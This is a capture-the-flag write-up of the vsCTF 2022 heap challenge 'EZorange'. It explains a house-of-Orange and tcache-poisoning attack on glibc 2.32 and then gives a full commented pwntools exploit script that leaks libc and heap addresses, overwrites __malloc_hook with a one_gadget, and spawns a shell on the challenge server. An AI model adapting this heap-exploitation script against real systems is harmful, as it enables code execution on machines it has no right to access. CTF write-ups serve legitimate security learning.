### EZorange
was a heap pwn challenge from vsCTF 2022
This challenge was very similar from a challenge from MOCSCTF 2022 – full of orange
which was itself very similar from a challenge from SECCON Beginners: Freeless
you can check by yourself:
[https://sekai.team/blog/mocsctf-2022/full-of-orange/](https://sekai.team/blog/mocsctf-2022/full-of-orange)
[https://github.com/nhtri2003gmail/writeup-mocsctf2022.mocsctf.com-orange](https://github.com/nhtri2003gmail/writeup-mocsctf2022.mocsctf.com-orange)
[https://dystopia.sg/seccon-beginners-2021-freeless/](https://dystopia.sg/seccon-beginners-2021-freeless)
 
it starts as house of Orange (as the name hints)
the challenge has no possibility to free a chunk, we can only allocate a chunk of up to 0x1000 bytes, and edit it. 
The edit function is an oob read/write, we can use it to write or leak a byte at any offset from the beginning of the chunk.
As with the house of orange, we will reduce top_chunk, then allocate a 0x1000 chunk, that will free the top_chunk remaining chunk.
With that trick we can free two chunks that will go in the tcache.
Then we do a classic tcache poisonning with the oob r/w edit function,
and we overwrite `__malloc_hook` with a one gadget to get a shell.
The challenge is based on libc 2.32,  but the safe linking does not change anything, as we can leak the heap address with the oob r/w.
Here is the exploit commented.
```python#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *
context.update(arch="amd64", os="linux")context.log_level = 'info'
exe = ELF("./ezorange_patched")libc = ELF("./libc.so.6")ld = ELF("./ld-2.32.so")
# change -l0 to -l1 for more gadgetsdef one_gadget(filename, base_addr=0):  return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', '-l0', filename]).decode().split(' ')]onegadgets = one_gadget(libc.path, libc.address)
rop = ROP(exe)
host, port = "104.197.118.147", "10160"
if args.REMOTE:  p = remote(host,port)else:  p = process([exe.path])
def buy(idx,size):  p.sendlineafter('> ', '1')  p.sendlineafter(': ', str(idx))  p.sendlineafter(': ', str(size))
def modify(idx, cell, val=0):  p.sendlineafter('> ', '2')  p.sendlineafter(': ', str(idx))   p.sendlineafter(': ', str(cell))  p.recvuntil('Current value: ',drop=True)  retval = int(p.recvuntil('\n',drop=True),10)  if (val<256):    p.sendlineafter('New value: ', str(val))  else:    p.sendlineafter('New value: ', '+')  return retval
buy(0, 0x18)modify(0, 26, 0)buy(1, 0x1000)
leak = 0for i in range(6):  leak += modify(0, 32+i, 256)<<(i<<3)
print('libc leak = '+hex(leak))libc.address = leak - 0x1c5c00print('libc base = '+hex(libc.address))
buy(0, 0x100)
buy(1,0xce0)# modify top_chunk size to 0x301modify(1, 0xce8, 1)modify(1, 0xce9, 3)modify(1, 0xcea, 0)# free 1st 0x2e0 chunkbuy(1,0x1000)
buy(0, 0x100)
buy(1,0xce0)# modify top_chunk size to 0x301modify(1, 0xce8, 1)modify(1, 0xce9, 3)modify(1, 0xcea, 0)# free second 0x2e0 chunkbuy(1,0x1000)
def obfuscate(p, adr):    return p^(adr>>12)
# leak heap fd pointerleak2 = 0for i in range(6):  leak2 += modify(0, 0x44948+i, 256)<<(i<<3)
print('heap leak = '+hex(leak2))
# target to get allocation to (malloc_hook)target= obfuscate(libc.sym['__malloc_hook'], (leak2+0x44d00))# do tcache poisonning on second chunkfor i in range(6):  modify(0, 0x44940+i, (target>>(i<<3))&0xff)
buy(1,0x2d0)# second allocation will be on our targetbuy(0,0x2d0)
onegadgets = one_gadget(libc.path, libc.address)target = onegadgets[1]
# write onegadget to our targetfor i in range(6):  modify(0, i, (target>>(i<<3))&0xff)
# launch onegadget & got shellbuy(0,1)
p.interactive()```
